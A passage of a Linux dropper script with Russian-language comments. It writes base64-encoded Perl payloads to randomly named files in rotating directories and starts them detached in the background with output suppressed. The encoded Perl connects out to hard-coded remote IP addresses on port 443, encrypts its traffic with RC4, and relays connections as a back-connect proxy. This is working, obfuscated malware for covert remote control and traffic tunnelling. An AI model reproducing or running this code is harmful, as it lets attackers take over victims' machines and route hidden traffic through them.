CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #37 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #37 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 38 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #38 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #38 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 39 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt 